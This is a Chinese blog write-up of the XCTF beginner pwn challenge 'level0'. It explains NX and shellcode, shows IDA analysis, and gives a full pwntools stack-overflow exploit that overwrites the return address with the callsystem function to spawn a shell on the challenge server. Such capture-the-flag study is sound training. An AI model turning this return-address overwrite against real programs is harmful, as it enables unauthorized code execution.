当前位置:首页 > 信息安全 > 正文内容

XCTF_pwn新手区_level0

七星4年前 (2020-05-27)信息安全1358

拿到题,执行一下,然后看一下保护:

image.png

程序只开了NX.这里记录一下NX:

NX:

NX是数据与程序的分水岭,

栈溢出核心思想是通过局部变量覆盖函数返回地址来修改EIP注释1和注入 Shellcode注释2

在函数返回时跳到Shellcode去执行

要防止这种攻击,最有效的办法就是让攻击者注入的Shellcode无法执行,

NX策略是使栈区域的代码无法执行。

注释1:CPU通过EIP寄存器读取即将要执行的指令

注释2:

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。 可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。 ----百度百科.

做题

拖到ida里面分析一下

image.png

shift+f12查看字符串,发现有/bin/sh这个字符串,双击进去看看:
image.png

可以看见这个字符串在0x400684这个位置,把光标打到command,然后按x,看看谁调用了它:

image.png

然后右键用text视图查看:

image.png

然后就找到了callsystem这个函数的地址,只要让EIP寄存器指向这个地址,程序就会执行callsystem函数.

然后分析main函数,f5查看伪代码:

image.png

这里没有用户交互,所以双击到vulnerable_function()这个函数里面看看:

image.png

这里定义了一个0x80长度的char类型变量,即0x80h填充满,之后跟上内存地址,

可以在read时,将函数返回地址覆盖为callsystem函数地址,则可实现漏洞利用

脚本就有了:

from pwn import *

p = remote("124.126.19.106","57828")  # 链接服务器远程交互,等同于nc ip 端口 命令
elf = ELF('./1')  # 以ELF文件格式读取文件
sysaddr = elf.symbols['callsystem']  # 获取ELF文件中callsystem函数的地址
payload = 'a'*(0x80 + 8) + p64(sysaddr)  #先用0x88个无用字符覆盖buf和push中的内容,之后再覆盖返回地址
p.recvuntil("World")  #检测输出
p.sendline(payload)  # 输入payload
p.interactive()  # 反弹shell进行交互

image.png

疑问错误之类的,请在下方留言

qixingbit.com

相关文章

对一个工控蜜罐日志的分析

对一个工控蜜罐日志的分析

这里是需要做的是从工控蜜罐的日志中,找到对西门子的私有通信协议扫描最多的IP地址。先放上日志:honeypot.log查一下,西门子的私有通信协议是S7系列:然后在日志里,提取出来带有S7的数据:然后...

DC-1 对一个靶场的综合渗透

DC-1 对一个靶场的综合渗透

环境准备1. 下载下载地址 2. 导入直接使用VMware导入即可,网络选择nat,方便nmap直接扫描。 开始1. 确认目标确定网络正常后,使用nmap开始扫描nat全段:254是网关,1是我物...

发表评论

访客

看不清,换一张

◎欢迎参与讨论,请在这里发表您的看法和观点。